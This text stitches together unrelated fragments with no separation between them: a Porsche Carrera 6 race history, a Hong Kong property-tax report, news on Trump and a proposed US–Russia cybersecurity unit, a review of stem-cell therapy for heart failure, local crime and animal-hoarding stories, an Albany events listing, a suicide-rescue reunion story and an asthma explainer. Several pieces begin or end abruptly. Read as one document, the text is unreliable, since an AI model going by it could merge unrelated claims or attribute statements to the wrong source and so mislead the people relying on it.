We’re uncertain how one would say Carrera 6 in Finnish, but that’s the country where the Collier Collection Carrera 6–chassis 906-125–began racing. It was first delivered on April 4, 1966 to Antti Aarnio-Wihuri–put that one in your spellcheck–whose family distributed Volkswagens in Finland. It became part of AAW Racing and competed on such tracks as now-abandoned Keimola Motor Stadium near Helsinki and Artukainen near Turku. There was also an AAW outing to the Nürburgring for the 1000-km race in 1967-68-69, with the best finish a credible 13th overall in the last year.
Come 1970, 906-125 was sold to a German, Helmut Bross, who was on the way to developing a good reputation as a race driver and used the Carrera 6 at tracks like the Ring and Hockenheim.
By 1980, 906-125 was in the U.S., specifically in Harvard, MA with William T. Currie.
These days 906-125 is part of the Collier Collection at the Revs Institute. There it is with the other major elements of the Piëch Revolution. 910. 907. 908. 917. These steps took Porsche from being a winner at events like the Targa Florio, but only the class victor in many other races, to the top of the podium. From the best of the 2.0-liter cars to, just four years after Piëch took charge, an overall win at Le Mans.
It was also, of course, just the beginning of Piëch’s rise to the top of Volkswagen…but that’s another story altogether.
Mr Leung last month announced property-transaction taxes on non-residents and speculators designed to do all three things at once. On October 26th Hong Kong imposed a buyers’ stamp duty of 15% on non-locals (read: mainland Chinese). An existing tax designed to curb speculation was also stiffened.
Something needed to be done. Residential-property prices, already among the world’s highest, are still soaring (see chart). First-time buyers are hardest hit. Just coming up with the 30% deposit required for a mortgage on a starter flat now costs 3.3 times gross median household income. The new measures may help a bit. Andrew Lawrence of Barclays argues that they will dampen enthusiasm for high-end homes among mainlanders (who rarely buy starter flats). A cooling in prices at this end of the market will allow more locals to upgrade to fancy or new flats, he thinks, thereby releasing small flats for first-time buyers.
That is not the same as pricking a bubble. Developers may well be stuck with slower volumes and lower profits, but the impact on prices will be muted because they are likely to withdraw some properties from the market, hoarding floorspace rather than cutting its price. CLSA, a broker, predicts that demand will drop by 20%, but prices will soften by a mere 1-2% in the fourth quarter. It also worries that the curbs on speculative money in residential property will redirect the flows into the market for commercial and industrial property.
US president says Russian involvement in cybersecurity unit may not happen after Republican senator calls it close to ‘the dumbest idea I have ever heard’
Trump backs away from working with Russia on cybersecurity
Donald Trump appears to have backed away from working with Russia to create a cybersecurity unit to guard against election hacking following widespread criticism of the idea.
The US president had said in a Sunday morning tweet that he and Vladimir Putin had discussed “forming an impenetrable Cyber Security unit so that election hacking, & many other negative things, will be guarded and safe,” following their talks at the G20 summit in Hamburg, Germany.
Three Republican senators – Lindsey Graham of South Carolina, John McCain of Arizona and Marco Rubio of Florida – immediately criticised the idea, saying Moscow could not be trusted after its alleged meddling in the 2016 US election, and Trump appeared to backtrack in a tweet later on Sunday.
Donald J. Trump (@realDonaldTrump) The fact that President Putin and I discussed a Cyber Security unit doesn't mean I think it can happen. It can't-but a ceasefire can,& did!
Graham had told NBC’s Meet the Press that working with Russia on cybersecurity was “not the dumbest idea I have ever heard but it’s pretty close,” saying that Trump’s apparent willingness to “forgive and forget” stiffened his resolve to pass legislation imposing sanctions on Russia.
“There has been no penalty,” McCain, who chairs the Senate armed services committee, told CBS’s Face the Nation. “Vladimir Putin ... got away with literally trying to change the outcome ... of our election.”
“Yes, it’s time to move forward. But there has to be a price to pay,” he added.
Rubio, who contested the 2016 Republican primaries against Trump, criticised the idea in a series of tweets that compared it to working with the Syrian president, Bashar al-Assad, on a chemical weapons unit.
Marco Rubio (@marcorubio) We have no quarrel with Russia or the Russian people. Problem is with Putin & his oppression, war crimes & interference in our elections 1/3
Marco Rubio (@marcorubio) Partnering with Putin on a "Cyber Security Unit" is akin to partnering with Assad on a "Chemical Weapons Unit". 2/3
Marco Rubio (@marcorubio) While reality & pragmatism requires that we engage Vladimir Putin, he will never be a trusted ally or a reliable constructive partner. 1/3
Representative Adam Schiff, the top Democrat on the House Intelligence Committee, told CNN’s State of the Union program Russia could not be a credible partner in a cyber security unit.
“If that’s our best election defense, we might as well just mail our ballot boxes to Moscow,” Schiff added.
Nikki Haley, the US ambassador to the United Nations, earlier defended the move, arguing that working with Russia on cybersecurity “doesn’t mean we ever trust Russia”.
“We can’t trust Russia and we won’t ever trust Russia. But you keep those that you don’t trust closer so that you can always keep an eye on ‘em and keep them in check.”
“Everybody knows that Russia meddled in our elections,” she said.
Trump had argued for rapprochement with Moscow in his campaign but has been unable to deliver because his administration has been dogged by investigations into the allegations of Russian interference in the election and ties with his campaign.
Moscow has denied any interference, and Trump says his campaign did not collude with Russia.
Trump had tweet that he “strongly pressed President Putin twice about Russian meddling in our election. He vehemently denied it.”
Keywords
Cardiomyocytes; Stem cells; Cell-based therapy
Introduction
Heart failure is the number one killer of men and women in the United States. Despite spending more than $35 billion annually on the treatment of heart disease in the US, the number of patients progressing to heart failure is increasing. Currently, there is no strategy to reverse or halt the progression of heart failure. Over the past few years, stem cell transplantation has risen as a new therapeutic strategy for treating IHF. A large number of preclinical as well as clinical studies were performed using adult bone marrow-derived cells with mixed results. The majority of the studies showed modest improvement in cardiac function in IHF. Among the studies tested adult cell types, cardiac c-Kit+ progenitor cells proved to be potential candidates as therapeutic agents; however, the low cardiogenic potential of transplanted adult cells and c-Kit+ cells may present a major obstacle. Therefore, a new strategy is needed to improve cardiac function in heart failure patients.
Embryonic stem cells (ESCs) are a logical candidate for cardiac regeneration due to their ability to differentiate to cardiac cells. These cells have the highest potential to differentiate to any type of cell depending on their cellular microenvironment. However, their tumoro-genesis property and allogenicity hampered their adoption in clinical application. Inducible pluripotent stem cells (iPSCs) are developed to overcome the allogenicity issue. These cells are produced by inducing a patient’s own cells, such as a skin fibroblast, to de-differentiate to embryonic-like stem cells.
Despite an enormous number of pre-clinical studies showing beneficial effects of cell-based therapy for heart failure, a large number of clinical trials conducted to date showed a modest effect on cardiac function in heart failure after cell therapy. Clinically, a new wave of studies, based on our current understanding of stem cell biology, need to be developed. There are three major issues to resolve in order to develop the next wave of cell-based therapy for heart failure. First, what is the best cell type to achieve the most beneficial therapeutic outcome after transplantation into an injured heart? There is an argument that may favor the use of cardiac-committed cells, such as partially reprogrammed adult cardiac-derived cells (modified cardiac progenitor cells) and inducible pluripotent stem cell-derived cardiac progeny. However, the optimal stage that these cells should be transplanted remains an unanswered critical question. Transplantation of fully differentiated ESC-derived cardiomyocytes has been shown to induce re-muscularization of an infarcted heart [1]. Early progenitors have a higher resistance to the hypoxic milieu in the injured myocardium tissue and possess a greater plasticity in response to local queues. The question still remains; at what stage of differentiation iPSC or ESC-derived progenitors should be used? The second issue is the obscurity of the mechanisms of action. The majority of published work supports the conclusion that the effects of therapeutic cells on the heart are mediated primarily by secreted factors, i.e. the therapeutic cells acting as a source of those biological factors. This may imply that the focus of future cell-based therapy should be on cell retention to allow cells to deliver sufficient amounts of factors. An option that may overcome this issue is to use therapeutic cells seeded in a 3-D extracellular scaffold. This may provide a better survival rate for cells. The third issue relates to cell manufacturing. This process is tedious and requires massive resources, and the need to overcome many regulatory hurdles [2].
IPSCs
Advanced IHF is represented by a decrease in cardiomyocyte number. Supplementation of functional cardiomyocytes into the heart would be an appropriate therapeutic strategy. IPSCs’ technology allows for large scale in vitro production of patientspecific functional cardiomyocytes. A number of studies have shown that transplantation of iPSC-derived cardiomyocytes (iPSC-CMs) into the injured heart improves cardiac function. However, the resultant cardiomyocytes-derived from human induced pluripotent stem cells (hiPSC-CMs) are similar to human fetal cardiomyocytes (CMs) and different than adult CMs, based on gene expression, electrophysiology, and morphology [3-5]. Specifically hiPSC-CMs are smaller, less electrically excitable, have a lower sensitivity to adrenergic stimulation, and have impaired excitation-contraction coupling relative to adult CMs [6-9]. It is unclear how those differences in hiPSC-CMs compared to adult CMs affect cardiac function after transplantation in injured hearts. Mature CMs are presumed to provide a functional advantage upon implantation; it is possible that less-mature CMs might be better equipped to survive in the infarcted myocardium’s hostile environment.
Another limitation of the iPSCs’ technology is that generating patient-specific iPSC-derived cardiomyocytes (iPSC-CMs) requires 2-3 months from the biopsy to producing CMs. Residual undifferentiated iPSCs may present a potential risk of teratoma formation [10]. To address this limitation, direct reprogramming strategies are currently being explored. For example, somatic cells can be directly converted to CMs in mice [11]. Recently, direct reprogramming of human fibroblasts was also achieved [11]. Despite these advances, the protocols of induced CMs (iCMs) are less efficient compared with the iPSC-CM protocols (5% vs. 90%) [12]. Additionally, iCMs are not fully characterized. Some studies suggest that iCMs are similar to ESC-CMs [13], whereas, others suggest they are less mature than hiPSC-CMs [14]. Once refined, trans-differentiation (by directly reprogramming fibroblasts in the scar tissue into functional myocardium in vivo) could revolutionize regenerative medicine by eliminating the risk of teratomas [15]. Clinical application of these new advances in cellbased therapy, including its feasibility, safety, and therapeutic efficacy need to be further investigated at the pre-clinical stage. In their recent review, Miyagawa et al., summarized current topics related to safety and efficacy of iPSC-CMs transplantation therapy for cardiac disease and discussed the prospects for this treatment in clinical studies [16].
Modified Cardiac Progenitor Cells
Ischemic heart disease is more common in elderly patients. Cardiac c-Kit+ cells have been utilized in early stage clinical trials for chronic heart failure (CHF). However, these cells have modest cardiogenic potential that may limit their efficacy [17,18]. Modified autologous adult progenitor cells to promote the repair of post-infarct cardiac tissue may prove to be an effective therapy option [19]. This cellular therapy involves the isolation of adult progenitor cells from the patient, in vitro manipulation of these cells, and the subsequent transplantation of the cells back into the patient’s own heart. An obstacle affecting this process is that progenitor cells recovered from an elderly patient’s cardiac muscle tissue tend to be in senescence. As a result of this, hostile in vitro manipulations can cause the aged cells to undergo in vivo apoptosis following transplantation into the patient. Inhibition or reversal of senescence in adult progenitor cells may be a strategy that lower stem cell mortality and coerce aged stem cells into adopting more resilient phenotypes similar to that of their younger counterparts. In an excellent review written by Khatiwala et al. in 2016, the authors discussed a selection of the most efficient and most recent strategies used experimentally to enhance the effectiveness of the current stem cell therapies for ischemic heart diseases [20].
A strategy to augment cardiac-derived cells’ cardiogenic potential, as previously reported by our lab, is by epigenetically modifying the cells using small molecules such as Class I Histone Deacetylases (HDACs) inhibition. We found that a selective inhibition of Class I HDACs (mocetinostat) in vitro induces increased expression of cardiac markers in c-Kit+ cells. Compared to untreated cells, transplantation of mocetinostat-treated c-Kit+ cells resulted in higher retardation of LV remodeling in CHF [19,21].
Another strategy to improve the cardiac potential of adult cardiac-derived cells is pretreatment with small molecules against TGF-β. We showed that intervention with TGF-β signaling by inhibiting TGF-β receptor type I or Smad 2/3 using small-molecule inhibitors improved c-Kit+ cell yield, attenuated epithelial to mesenchymal transition markers, stimulated the pluripotency marker Nanog, and improved efficiency of c-Kit+ cell differentiation toward cardiomyocyte-like cells in vitro. Our findings suggest that TGF-β inhibition positively modulates c-Kit+ cell phenotype and function in vitro, and this strategy may be considered in optimizing cardiac progenitor function and cell expansion protocols for clinical application [21].
A previous study from our lab, suggests that Notch-mediated reversible EMT process is a mechanism that regulates explantderived c-Kit+ and c-Kit- cells. Specifically, Notch stimulation augmented, while Notch inhibition suppressed, mesenchymal transition in both c-Kit+ and c-Kit- cells. In c-Kit+ cells, Notch stimulation reduced, while Notch inhibition up-regulated expression of pluripotency marker such as Nanog and Sox2. Notch induction was associated with degradation of β-catenin in c-Kit- cells. In contrast, Notch inhibition resulted in β-catenin accumulation, acquisition of epitheloid morphology, and upregulation of Wnt target genes in c-Kit- cells [22].
During cardiac aging, DNA damage and environmental stressors contribute to telomeric shortening and human cardiac progenitor cells acquire a senescent phenotype that leads to decreased stem cell function. Reversion of this phenotype through genetic modification may advance regenerative therapy. For example, Sussman et al. examined the protective effects of Pim1 to target alteration is cardiac progenitor cells induced by aging [23].
Cell Delivery
Identifying the most efficient type of cell for ischemic heart failure may be insignificant if an efficient delivery route for that particular cell is absent. Therefore, the most efficient, up to date, cell delivery techniques are discussed in this review. Emphasis is placed on the retrograde coronary vein delivery technique and cardiac patch technology. Thus, delivery of therapeutic material by a retrograde venous infusion has been reported as a safe alternative to intracoronary and intramyocardial routes in preclinical large animal models [24,25]. Compared to standard antegrade coronary perfusion, venous interventions require no stop in forward blood flow; therapeutic product is retained in the myocardium allowing for longer exposure and uptake of delivered material. Unlike coronary arteries, veins are mostly disease-free, which makes this delivery route clinically attractive. Lastly, retrograde infusion provides a widespread delivery across the myocardium with an increased drug concentration in LV [26,27]. Therefore, we developed and applied a simplified retrograde coronary vein (RCV) infusion approach for a small animal model of heart failure. Using RCV delivery approach, we examined the efficacy of cardiac c-Kit+ cells in improving cardiac function in CHF rats. Our study showed that RCV infusion approach is an efficient technique for targeted cell delivery to the infarcted myocardium. Cardiac c-Kit+ cells, delivered using RCV infusion ameliorated progression of heart failure, improved cardiac function and retarded myocardial remodeling in heart failure rats [28].
Tissue Engineering
For cardiac cell replacement therapy to be successful, a large number of cells are needed. The requirement of having a high number of cells and the long-term survival of those cells in the injured heart tissue makes it challenging for cellular therapy with cell injection. It is well established that the majority of injected cells die in the injured myocardium [29,30]. Cardiac patch technology may overcome some of the limitations of cellular injection therapy: 1) Large numbers of cells can be seeded into the patch; 2) cellular retention and survival is higher in the cardiac patch; 3) targeted delivery of the patch to the myocardium; 4) the size and shape of the patch can be controlled in vitro; and 5) the patch can be designed to provide a controlled release of bioactive molecules [31,32]. In addition, a higher degree of maturation could be achieved using a cardiac patch. A serious disadvantage of current cardiac patch therapy is the requirement for open chest surgery. This disadvantage excludes a large number of patients who would benefit from such therapy. However, new minimally invasive delivery systems may be developed in the near future. Also, it seems likely that a thick, vascularized cardiac patch containing adult-like CMs is needed. Also pertinent, is the requirement for standardized protocols for patch generation and maturation before translation to clinics. The beneficial outcomes of cardiac patch therapy have already been demonstrated in animal models [32].
For a cardiac patch to prove effective, it needs to be thick, but transplanting tissue sections >400 μm thick have a poor survival rate due to diffusion limitations [33]. One strategy to produce thicker tissues involves stacking layers of cardiac tissue. Previously, we demonstrated that transplantation of scaffoldfree cardiac cell sheets improved cardiac function of injured heart tissue [34]. A similar scaffold-free approach was developed where cultured CM monolayers are released as intact cell sheets from a temperature-sensitive culture surface [35].
Finally, an optimum location of a cardiac patch implantation is still unclear. Typically, a cardiac patch is implanted onto the epicardial side of the heart [32,36-38]. A limitation of epicardial placement is that epicardial cells are not CMs; thus, they physically separate the patch and the host myocardium and interfere with the electrical coupling. It is well established that during development, epicardial-derived cells support myocardial growth by providing progenitor cells and mitogens [39,40]. After injury, epicardial cells migrate into the myocardium to give rise to both new blood vessels and CMs [39,40]. A future strategy of cell therapy may incorporate the role of the epicardium in myocardial repair by introducing bioactive peptides into the cardiac patch to mobilize epicardial cells, which may eliminate the graft-host tissue barrier. An example of these molecules is thymosin β4, which was shown to promote migration of epicardial cells into the myocardium and induce both vascularization and CM survival. Another example is Follistatin-like 1, which was shown to promote integration, limit fibrosis, and improve cardiac function, CM proliferation and vascularization when delivered via an acellular epicardial patch [15].
In addition to hurdles of cell-based therapy stated above, there are numerous unanswered questions pertaining to the following: cellular handling and preparation, regenerative ability of the damaged heart tissue, inflammatory status, injection timing, endogenous cardiogenic and angiogenic potential, specific targeted pathology, and clinical endpoints.
Since the discovery of angiotensin converting enzyme inhibitors and angiotensin receptor blockers more than a decade ago, the progress in developing heart failure, novel therapies have stagnated despite the large number of randomized clinical trials in heart failure patients. There is a recent incremental improvement in outcomes that was shown with combination therapy, blockade of angiotensin receptors and neprilysin inhibition [41]. This stagnation in drug development for heart failure may be explained by the lack of drugs that address the major cause of heart failure, mainly the loss of cardiomyocytes, progression in myocardial fibrosis, and the inflammatory status of the injured heart tissue. Cellular therapy may directly correct some of those specified abnormalities. In order for this to be accomplished, a clear understanding of stem cell-based mechanisms of action needs to be elucidated before cell adaptation of standard operating procedures to specific types of heart failure patients (for example, ischemic versus non-ischemic cardiomyopathy, hypertrophic, dilated cardiomyopathy, etc.) and the stage of the disease.
Elucidating the mechanisms of action is of paramount importance in designing an efficient cell-based therapy. The secretion of paracrine biofactors from exogenous cells appears to be a common mechanism of cell improvement of cardiac function, which led some investigators to speculate that “cardiac therapy may be achieved by development of cell-free strategies” [2]. This conclusion is unlikely, simply due to the sheer number of paracrine factors, such as growth factors, miRNAs, etc., that cells secrete in a given microenvironment. Even if one could create a cocktail of those factors, figuring out the appropriate doses, spatial, and temporal profiles of those factors may be too complicated knowing that some of these factors may work synergistically, while others may be inhibitory. Recent reports demonstrated that those factors are clustered in extracellular membrane vesicles, typically secreted by cells and readily detectable in body fluids and cell culture conditioned media. This observation may eliminate the need of separating individual factors in a cell-free manner. These factors could be delivered collectively as extracellular vesicles. These vesicles offer advantages over the delivery of specific factors that only target a single signaling pathway.
Conclusion
The stem cell therapy field is progressing, but more basic studies are needed to answer the questions raised in this review. At this time, it appears that modified autologous cardiac-derived cells is a good candidate for cell therapy of IHF, and the retrograde perfusion via the coronary vein is an efficient cell delivery approach. This conclusion is based on the reviews of many contributions in the field and our own published data. This data also provided the scientific basis to start a Phase-1 clinical trial at our institution in the impending future. Despite the many challenges that cell-based therapy has faced during the last few decades, personalized cell therapy for IHF where gene and cell therapies are combined is not far off. With the recent advances of gene editing technologies, such as CRISPER/CAS9, genetically editing patient-derived progenitor cells prior to transplantation into damaged heart tissue is now possible. In such a scenario, one could identify a genetic abnormality in a patient’s cells, correct that abnormality using gene editing and deliver those modified cells back to the same patient. Thus, stem cell therapy will soon realize its potential as a potent treatment for IHF.
Web Staff - NEW YORK (AP) — A Long Island man dubbed "bird man" by neighbors was taken to the hospital and his home condemned after authorities found nearly 350 pigeons flying around inside.
Police and the SPCA say they found hundreds of pigeons flying freely inside the house in North Merrick. It took nearly 4 hours to capture them all.
A man in his seventies also lived there. He was taken to the hospital in a protective suit that's used for hazardous materials.
Nassau County SPCA removing nearly 350 pigeons being hoarded in Merrick LI home w/ 2ft of feces and seeds #ABC7NY pic.twitter.com/lO3Y6Hwg0S — AJ Ross (@AJRossABC7) September 15, 2016
Hazmat teams wore full body suits and oxygen masks to protect themselves from the fumes. Officials said the homeowner also used an oxygen mask while living inside.
The pigeons were allowed to roam and fly around as they please.
Mountains of bird food & droppings litter N. Merrick home. Nassau SPCA removes 344 pigeons. @wcbs880 pic.twitter.com/vINqKlljKk — Peter Haskell (@peterhaskell880) September 15, 2016
Crews said there were two feet of droppings and seed on the floor.
Rogers said it was the first time he's seen a house become a pigeon coop. He said the pigeons will be placed with people who can care for them.
On June 4, Dick Oranges, 49, is accused of biting a loss prevention officer on the arms and swinging a knife at him after the officer questioned him about leaving a dressing room without the clothes he took inside, the Naples Daily News reported.
According to the arrest report, once outside the store, Oranges pulled out a knife and started swinging it at the officer before fleeing in a gold convertible.
Then, on Thursday, Florida Highway Patrol troopers stopped Oranges for speeding.
At that point, according to the report, Oranges asked them to "give him a second chance." Troopers smelled marijuana and found a pouch labeled "Dime Bag," which pretty much ended Oranges’ hopes at a second chance.
As of Friday night, Oranges was in jail on $2,500 bond on seven charges, including aggravated assault and battery.
Lion Coffee + Records is a coffee shop, venue and vinyl specialist store. The couple named the after their 3-year old son Arlo Lion.
Mairead not only manages Florence + The Machine but is also the owner of Luv Luv Records.
Each Thursday night the place has the Luv Luv Luv Presents showcases for new artists while established bands play the Live At Lion sessions on Saturdays.
The space has featured performances by Courtney Love, Gruff Rhys, Mystery Jets, Splashh, Ed Hardcourt, When Young, Blueprint Blue, To Kill a King, Mata, Gabriel Bruce, The Garden.
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There's lots going on in the Capital Region on this first chilly weekend of spring, from Lewis Black and his rants, to Lisa Loeb and her glasses, to gardens and flowers and hoops. (Oh, my.)
After the jump, a list of stuff you might find interesting. Doing something that didn't make the list? Share it in the comments.
And whatever you're up to, have a fantastic weekend!
Lewis Black
Comedian Lewis Black will be at The Palace Friday night for a standup show. His current tour is appropriately titled "The Rant is Due." Most people know Black from his commentaries on the Daily Show. The most recent election season has probably left him one or two things to talk about. (By the way: Black is also a playwright -- really. His work has been performed at places such as the Williamstown Theatre Festival.) From 2011: Lewis Black on Albany. 8 pm - $29.50 and up
More Comedy
MopCo: You Never Know
The Mop & Bucket Company's You Never Know show is back. Think Whose Line is it Anyway -- a night of short form improv games where talented improvisers make up scenes and songs based on audience suggestions. Underground at Proctors. Friday at 8 pm - $14 adults, $6 students and seniors.
Improv at The Comedy Works
Mop & Bucket opens a weekly short form improv comedy show on Saturday night at The Comedy Works on Northern Blvd in Albany. Think Whose Line is it Anyway. 8 pm - $15-$20
The Brew Ha-Ha Comedy Showcase
Hosted by Greg Aidala the Brew Ha Ha Comedy Showcase at the Holiday Inn Express Suits in Latham features Carmen Lynch (The Late Show with David Letterman, Last Comic Standing) and Clayton Fletcher (Sex and the City, MTV) along with locals Matt Kelly and Stephen Murray. 8 pm - $15
Theater
Single Girls Guide
The Single Girls Guide continues at Cap Rep this week (TU review, Nippertown review, Daily Gazette review). $20 and up
Lucky Stiff
Casino Royale-meets-Weekend at Bernie's in the musical comedy Lucky Stiff, this weekend at Class Act Productions in the Schacht Fine Arts Center at Russell Sage in Troy. Friday and Saturday at 8 pm, Sunday at 2 pm
Woman in Mind
The Schenectady Civic Players present Alan Ayckbourn's black comedy Woman in Mind. "After stepping on the tooth end of a garden rake, Susan experiences hilarious hallucinations in which her boring and oppressive everyday life is replaced by a fantasy. Now she is the ideal wife with the ideal family! But is this really bliss or has she merely let her sanity lapse?" Friday and Saturday at 8 pm and Sunday at 2:30 pm, $15
Tonight at the Troy Savings Bank Music Hall, The RPI Community Advocates and the Pride Center of the Capital Region present a staged reading of the play 8. Written by Dustin Lance Black, author of Milk and J. Edgar, the play chronicles the events surrounding the California Supreme Court case which deemed Proposition 8, the ballot initiative to deny same-sex couples the right to marry, unconstitutional. Post show reception at The Confectionery. Friday at 7:30 pm - $3 in advance, $5 at the door
Othello
Confetti Stage presents Shakespeare's Othello at the Albany Masonic Hall. Friday and Saturday at 7:30 pm, Sunday at 2 pm - $10
Sound of Music
The Captain, Maria and the seven singing Von Trapps, complete with nuns, Nazis, and whiskers on kittens, this weekend at Schenectady Light Opera's production of the Rogers and Hammerstein classic The Sound of Music. Friday and Saturday at 8 pm, Sunday at 2 pm - $22 & $28.
Inflatable Frankenstiein
Friday at EMPAC: "Inflatable Frankenstein" by the performance collective Radiohole. Blurbage:
Inspired by meditations on horror films, the work of Antonin Artaud, and Ardunio open-source electronics, Radiohole's Inflatable Frankenstein is a visually and sonically driven performance based on Mary Shelley's early life and her novel Frankenstein.
Here's a NYT review from January. Friday 8 pm - $18
Capital District Garden and Flower Show
If there's not enough actual spring for you, check out the Capital District Garden and Flower Show at Hudson Valley Community College: 17,000 square feet of garden and landscape ideas, demos, and 150 garden vendors. Friday noon to 8 pm, Saturday 10 am to 7 pm, Sunday 10 am to 5 pm - $12, under 12 free
Hoops
Friday-Sunday at the TU Center: the Federation Tournament of Champions, a tournament featuring the winners of the high school basketball tournaments from both upstate and downstate.
Music
Friday: The Fellowship Band at the Zankel Center
"Considered by many critics to be the most important contemporary jazz band in the modern world..." 8 pm - $8
Friday: Kenny Wayne Shepherd at Upstate Concert Hall
Blues guitarist. With: Sly Fox and The Hustlers. 8 pm - $22.50 ahead / $25 day of
Friday-Saturday: Blues Weekend at Caffe Lena
Annual "two-day celebration of the Roots and Branches of the Blues." Here's Saturday. 8 pm both nights - $16 Friday, $20 Saturday
Friday: That 1 Guy at Red Square
One-man act -- plays the "Magic Pipe, a monstrosity of metal, strings, and electronics, facilitates the dynamic live creation of music and magic." 8 pm - $12 ahead / $15 day of
Saturday: Lisa Loeb at Troy Music Hall
Back with her band, Nine Stories. (She never parted ways with her glasses.) 8 pm - $27
Saturday: Sgt Dunbar and the Hobo Banned at the Oakwood Community Center in Troy
Celebrating their new EP, with Matt Durfee and Secret Release. doors 8 pm, show at 8:30 pm - donate at the door and get a copy of the new album
Saturday: Roots Music Festival 4 at The Linda
Featuring: Brown Bird. With: James Edmond's Heavenly Echoes, The Red Haired Strangers, Lost Radio Rounders and Friends Presenting: Songs of the Carter Family, Olivia Quillio, Low 'n Lonesome. 8 pm - $15
Saturday: Sara Watkins at The Egg
Singer/fiddler, formerly of Nickel Creek. 7:30 pm - $20
Saturday: Simone Dinnerstein and Tift Merritt at Helsinki Hudson
Classical pianist + alt-country singer/songwriter. 8 pm - $30
Saturday: Mike Gent at Spring Street Gallery
Gent, from The Figgs, returns to Saratoga with an acoustic solo show. 8 pm - sliding scale admission of $6-$10
Saturday: '60s Spectacular at Proctors
With: Peter Noone/Herman's Hermits, Mary Wilson from the Supremes, Jay and the Americans, The Happenings. 7 pm - $36.75 and up
Saturday: The Martha Redbone Roots Project at Proctors
Playing with John McEuen. "[A] collection of William Blake poems set to the music of her mother's Appalachia by Native American singer-songwriter Redbone, produced by Grammy-winning founder of Nitty Gritty Dirt Band, McEuen." An 8th Step show. 7:30 pm - $26 ahead / $28 at door
Saturday: Snuggie Luau at Valentine's
With: The Lucky Jukebox Brigade, Bellas Bartok, Home Body. "Wear snuggies, sundresses, flip flops, snowpants...anything one might wear to bed or to the beach." 9 pm
Sunday: Kurt Elling at The Egg
Jazz vocalist. 7:30 pm - $29.50
Night At The Brewseum
Friday night at the New York State Military Museum in Saratoga Springs: sample craft beer and wine with food from Maestro's, and check out the museum. Friday 6 pm - $35, $20 active military personnel, $10 non-drinker
Roller Derby
The Albany All Stars play a double header on Saturday night at the Washington Avenue Armory. First, a women's bout against Pioneer Valley Roller Derby the CT RollerGirls. And then the men's derby: Capital District Trauma Authority vs. Connecticut Death Quads. first whistle at 6 pm - $10, $4 kids
Pass It On Children's Consignment Sale
More than 600 consigners will be selling toys, books, videos, strollers, swings, and other baby stuff plus sports equipment, children's furniture and other item at the Pass It On Children's Consignment Sale on Sunday at the Siena College Marcelle Athletic Complex. Sunday 9 am-7 pm
Museums
Corita Art Day
Friday at Skidmore's Tang Museum: a day-long celebration of artist Corita Kent, featuring tours, discussions, and projects. And exhibit of Kent's work -- Someday Is Now: The Art of Corita Kent -- is current on display at the Tang. Friday various times - free
Butterflies @ MiSci
The butterfly house inside MiSci (formerly the Schenectady Museum) continues this weekend. Saturday 11 am-5 pm, Sunday noon-5 pm - Free with museum admission
Gordon Parks photography at the NYS Museum
Gordon Parks: 100 photos -- a collection of work by the famous photographer/director and Life magazine's first African American staff member -- highlights photos taken in Harlem and Washington DC during the early 1940s, "when both cities were going through significant changes--arising from post-WW II urban migration, the expansion of the black press, concern for children's education, and entrenched segregation and economic discrimination."
Currier and Ives
The Albany Institute of History and Art's new Currier and Ives exhibit, "The Legacy of Currier & Ives; Shaping the American Spirit," continues. The exhibition of 64 Currier and Ives prints "introduces the visitor to the firm of Currier & Ives and illustrates, through interpretive and educational materials, how their imagery became ingrained in the national consciousness." While you're there you can also check out the exhibit of work from the Hudson River School. It includes works from the institute's collection as well as works from private collections. The exhibit runs through August 18.
On Sunday, historian and author Anderson will be at the Albany Institute to discuss the hand-painted English wallpapers from three English-style residences built between 1762 and 1768 in Albany. The papers from Albany's Van Rensselaer house-- one of only two of their kind in the world-- are on view in the American Wing of the Metropolitan Museum of Art in New York City.
Get some ice cream
Cold? If you're eating ice cream you won't notice so much. The Snowman in Troy, The Tastee Freez in Bethlehem, Bumpy's in Schenectdy and many of the other seasonal ice cream stands are open.
Proctors, Troy Music Hall, Albany Law, Capital Rep and Live Nation advertise on AOA.
"I just wanted him to know that I was there," he says. "I wasn't there to try to fix things for him or anything like that, I wanted him to know that no matter what, I'm not going anywhere. I'm right behind you."
"He didn't try to give me the same old quick fixes or remedies that people are sometimes inclined to give — that tomorrow is another day or everything is going to be better," Henick says.
A crowd gathered — including police. Richey and an officer asked if they could move closer to hear Henick better. He agreed.
"As he started to repeat, 'I tried I tried,' and 'I can't do it anymore,' I felt like he was working himself up to let go," Richey says.
Henick remembers another stranger telling him to jump.
As Henick let go, Richey reached out and grabbed his chest to keep him from falling forward, and along with the police officer, pulled him back to safety.
For Henick, years of recovery, struggles, and setbacks followed — "recovery is not a straight line upward, it never is" — but he found that talking about his struggle helped.
At his high school, he wanted to speak about suicide, but was told he couldn't. He wrote a letter to the local paper, and television cameras showed up at school. It was his first foray into advocacy.
Now 27, he works for the Ontario division of the Canadian Mental Health Association. He has shared the story about the stranger many times, including in a TED Talk viewed almost one million times. On Let's Talk Day — the mental-health awareness event sponsored by Bell Canada — he decided to share his quest to find the stranger on Canada AM and social media. A day later, he had two messages from people who knew Richey.
In a strange coincidence, Richey had seen the TED talk a couple of weeks ago, and had been writing a letter to Henick. Now, he decided to send it.
"He carried it for all those years," says Richey's mother Sharon from her home in Sydney, N.S. "I guess I couldn't expect anything less of him that night. That's something he would do automatically, he's a very kind, intelligent young man."
The two men have exchanged several emails and plan to meet sometime in the future. Henick calls that night on the overpass a "pivotal point" in his story.
"I felt so alone, so isolated and secluded on that bridge, that the most powerful thing for me was that complete stranger reaching out — and I realized I can be that stranger, too, just by telling my story and just by saying that I've been there," he says. "That breaks down that isolation for people, and lets them know its OK to talk."
Richey, now 37, lives in Halifax, and works at a non-profit residential facility for at-risk youth. Admittedly shy, he says kind messages from people who have heard the story have been overwhelming and unexpected.
"It was something that just needed to be done," he says. "He's come so far, he looks great, healthy and happy. It's the complete polar opposite of the face I saw that night on the bridge ... he's doing great things."
Why a Doctor Might Start a Therapeutic Trial
Generally, you present to your doctor with symptoms. In asthma, that might mean that you have classic symptoms of asthma such as chest tightness, chronic cough, shortness of breath, wheezing or even maybe some atypical symptom. Whatever the complaint you have, your doctor suspects asthma. They then decide they want to see if you benefit from some sort of asthma treatment. Most commonly this will be giving you a rescue inhaler and seeing if this relieves your symptoms, but there is no reason why a therapeutic trial could not be started with an inhaled steroid. The only downside of the therapeutic trial with an inhaled steroid is that it will take a longer period of time to see if it is working.
Do I Still Need Diagnostic Tests for Asthma?
This will depend on the decisions you and your doctor make. In general, I would say yes.
